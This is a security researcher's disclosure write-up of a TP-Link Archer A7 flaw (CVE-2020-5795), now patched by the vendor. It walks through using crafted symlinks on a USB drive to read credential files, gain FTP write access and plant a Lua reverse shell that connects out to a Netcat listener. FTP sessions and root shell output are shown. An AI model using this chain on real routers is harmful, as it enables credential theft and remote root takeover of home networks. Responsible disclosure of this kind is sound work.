TP-Link Takeover with a Flash Drive
Crafting symbolic links to root a TP-Link AC1750
Intro
This is the TP-Link AC1750 Wi-Fi router (Archer A7).
At the time of publication, it is listed as the #1 best selling router on Amazon.
Like many home Wi-Fi routers out there, the Archer A7 has a USB port.
The USB port allows you to share the contents of an external USB storage device on your local network. For example, maybe you want to share photos or videos on the network. Once a USB drive is plugged in, the router fires up an SMB share, enables FTP, and turns on a DLNA media server. The contents of the drive can be accessed using these protocols.
Beware the Flash Drive
I was curious to see what I could do with a malicious flash drive. Sure enough, I found a vulnerability that can be exploited to read the router’s file system pre-auth, steal login credentials, and then pop a root shell. It’s all possible using symbolic links.
Let’s take a look at the flaw.
Pre-Auth File System Read
Under the hood, the TP-Link router is a Linux machine running OpenWRT, so symbolic links can target files typically present on Linux-based machines (e.g. /etc/shadow). The malicious USB drive must be formatted with an NTFS (NT File System) partition, and once it is plugged in, the contents will be accessible over the network.
There is a catch though. By default, symbolic links will not be dereferenced if accessed over SMB or FTP. However, symlinks will be followed if accessed over DLNA. The interesting thing is that only media file types will be served. This requirement can be satisfied by naming the symbolic link with a media extension, such as .wav. For example, a symlink to /etc/shadow would be named shadow.wav.
Also, an important thing to note is that the plaintext password to the administrative web interface is stored in /etc/config/usbshare by default. With this password, you can change router configuration options.
Let’s take a look at how this attack works. As an example, I’ve created 3 symbolic links.
passwd.wav -> /etc/passwd
shadow.wav -> /etc/shadow
usbshare.wav -> /etc/config/usbshare
After plugging the USB drive into the router, the files are accessible over DLNA using a client such as VLC.
Notice how ‘usbshare’ is accessible over HTTP at http://192.168.0.1:8200/MediaItems/21.wav. The contents of this file can be downloaded using the link. Below you can see a download of the file using Python.
>>> import requests>>> print requests.get("http://192.168.0.1:8200/MediaItems/21.wav").textconfig usbshare 'global' option auth_all 'off' option svrname 'TP-Share' option ftp 'on' option ftpex 'off' option samba 'on' option ftpex_port '21' option share_all 'on' option dlna 'on'config usbshare 'account' option password 'admin' option username 'admin' option use_login_user 'on'config volumn option serial '20051941911AFB10F48A' option uuid 'EEF59DEA080A1155D2CAA0A84A1C2277' option label 'evilntfs' option capacity '488632320' option used '7098368' option enable 'on'
We can now log in to the web interface using the newly acquired credentials.
Post-Auth File System Write Access Leading to Arbitrary Code Execution
As I said earlier, by default, symbolic links will not be followed if accessed over SMB or FTP. However, this can be changed in the admin web interface, and we can modify the PoC to enable browsing of the file system. A symbolic link pointing to the root of the file system must be present on the USB drive:
rootfs -> /
With this symbolic link in place, the router’s USB Sharing Access settings may be configured such that the root of the network share points to this symbolic link.
Once this configuration is in effect, file system read and write access are possible. Notice in the FTP session below how the ‘rootfs’ symlink can be followed to browse the file system.
$ ftp 192.168.0.1Connected to 192.168.0.1.220 ProFTPD 1.3.4b Server (TP-Share) [192.168.0.1]Name (192.168.0.1:osboxes): admin331 Password required for adminPassword:230 User admin logged inRemote system type is UNIX.Using binary mode to transfer files.ftp> ls200 PORT command successful150 Opening ASCII mode data connection for file listdrwxr-xr-x 1 root root 160 Feb 20 05:00 rootfs226 Transfer completeftp> cd rootfs250 CWD command successfulftp> ls200 PORT command successful150 Opening ASCII mode data connection for file list-rw-r--r-- 1 root root 31 Feb 20 05:00 -drwxrwxr-x 2 root root 689 Feb 18 07:53 bindrwxr-xr-x 2 root root 3 Feb 18 06:53 devdrwxrwxr-x 1 root root 400 Feb 20 05:01 etcdrwxrwxr-x 1 root root 60 Feb 19 12:59 libdrwxr-xr-x 1 root root 60 Feb 20 05:01 mntdrwxr-xr-x 2 root root 3 Feb 18 06:53 overlaydrwxr-xr-x 2 root root 3 Feb 18 06:53 procdrwxrwxr-x 2 root root 27 Feb 18 07:53 romdrwxr-xr-x 2 root root 3 Feb 18 06:53 rootdrwxrwxr-x 2 root root 1431 Aug 14 2019 sbindrwxr-xr-x 2 root root 3 Feb 18 06:53 sysdrwxrwxrwt 2 root root 32 Feb 19 12:56 tmpdrwxrwxr-x 6 root root 74 Aug 14 2019 usrdrwxrwxr-x 1 root root 80 Feb 19 13:00 www
Now let’s see how a remote shell can be obtained. At this point, the file system is simply readable and writable over SMB or FTP. There is no way to execute anything though.
With this limitation in mind, my goal was to overwrite a file that would subsequently get executed — maybe as part of a scheduled job. Permissions must be taken into consideration though. As shown below, when a file is ‘put’ onto the file system over FTP, the user is ‘admin’ and the group is ‘root’.
ftp> put test.txtlocal: test.txt remote: test.txt200 PORT command successful150 Opening BINARY mode data connection for test.txt226 Transfer complete15 bytes sent in 0.00 secs (33.0665 kB/s)ftp> ls200 PORT command successful150 Opening ASCII mode data connection for file list-rw-r--r-- 1 root root 1 Feb 18 07:21 is_online-rw-r--r-- 1 admin root 15 Feb 20 06:18 test.txt226 Transfer complete
It turns out we can only write to files which are writable by the admin user or root group. I searched for binaries that met this criteria, and eventually I stumbled upon /usr/sbin/wan_connected.
-rwxrwxr-x 1 root root 204 Aug 14 2019 wan_connected
Notice that wan_connected is writable by the root group. This means that the file is writable by admin as well. As shown in /etc/group below, the admin user is in the root group.
root:x:0:admindaemon:x:1:adm:x:4:mail:x:8:audio:x:29:www-data:x:33:ftp:x:55:users:x:100:network:x:101:nogroup:x:65534:
The name of this file got me thinking. Maybe it regularly checks to see if the WAN is connected. I overwrote the file with an echo command, and sure enough, it seemed to repeat the command every 2 seconds or so.
root@ArcherA7v5:/# echo 'echo "inside wan_connected"' > /usr/sbin/wan_connectedroot@ArcherA7v5:/# inside wan_connectedinside wan_connectedinside wan_connectedinside wan_connectedinside wan_connectedinside wan_connectedinside wan_connected
Note that I performed this test using a separate, local shell over UART. In order to score a remote shell, I needed this initial level of access to analyze the running system.
It was clear to me that I could overwrite this file to gain code execution. I have constructed a Python PoC script to pop a reverse shell. It performs the following:
- Connect to router over FTP using supplied credentials.
- Change directories to /usr/sbin
- Upload a Lua script named “shell.lua”. This script acts as a reverse shell. (Note: I chose Lua for the reverse shell because of its usage in the LuCI web framework.)
- Upload a file named wan_connected. This contains a shell script to execute shell.lua, and it will be executed regularly.
- Disconnect.
Here is sample output. In this case, there is a Netcat listener waiting for connections on 192.168.0.104:4444.
root@kali:/home/kali# python3 ftp_put_shell.py 192.168.0.1 admin admin 192.168.0.104 4444Connecting to FTPChanging to /usr/sbinUploading shell.luaUploading wan_connectedDone
And the Netcat listener receives the shell.
root@kali:/home/kali# nc -lvp 4444listening on [any] 4444 ...id192.168.0.1: inverse host lookup failed: Unknown server error : Resource temporarily unavailableconnect to [192.168.0.104] from (UNKNOWN) [192.168.0.1] 54874uid=0(root) gid=0(root)cat /tmp/productinfovendor_name:TP-Linkvendor_url:www.tp-link.comproduct_name:Archer A7device_name:Archer A7language:EUproduct_ver:5.0.0product_id:00070005special_id:55530000hw_id:8ACDCCC1666A3BDD636502B77018F640oem_id:3E89B4C2F8B51B2FD86188D98BF8B36Fcountry:UShw_ver:00000001
Closing Remarks
You might be thinking that this attack scenario is unlikely because the attacker must have physical access to the router and also be connected to the router’s network. However, there is a specific case where this type of attack would be possible. Trusted guests in your home or business are excellent threat actor candidates. Think about a vacation rental, like an Airbnb. The Wi-Fi password is typically provided, and physical access is a given.
Aside from being able to gain a root shell on the router, other attacks are possible. For example, the TP-Link router can be set up to act as a VPN server. An attacker could use this to route their traffic through your network. This would enable them to mask their malicious internet activity and make it look as though the traffic originated from your home. Another possibility is setting up a network sniffer to monitor your internet usage, etc.
We have assigned CVE-2020–5795 to track this vulnerability. For more technical details and proof of concepts, take a look at our research advisory.
TP-Link has provided a patch for this. Grab the latest firmware (“Archer A7(US)_V5_201029”) from the TP-Link website, and apply it to your router.